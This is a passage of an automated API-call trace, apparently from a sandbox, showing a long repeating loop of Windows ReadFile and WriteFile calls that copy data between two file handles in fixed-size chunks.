lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.199] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.200] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.201] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.202] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.205] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.206] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.207] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.207] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.208] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.209] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.210] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.210] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.211] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.214] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.215] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.216] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.216] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.216] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.217] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.218] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.219] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.220] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.223] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.224] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.225] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.226] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.226] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.227] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.228] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.229] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.230] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.232] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.233] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.234] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.236] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.237] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.238] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.238] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.238] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.240] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.240] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.240] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.241] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.289] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.292] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.293] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.293] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.293] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.294] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.295] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.295] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.306] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.308] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.308] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.309] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.331] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.332] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.334] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.334] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.334] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.335] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.336] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.336] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.337] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.338] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.338] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.339] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.345] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.346] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.347] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.349] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.349] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.350] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.353] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.354] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.355] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.359] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.360] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.366] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.366] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.367] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.368] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.369] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.369] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.370] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.405] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.405] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.406] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.406] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.407] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.408] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.416] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.419] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.420] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.432] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.433] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.434] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.434] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, 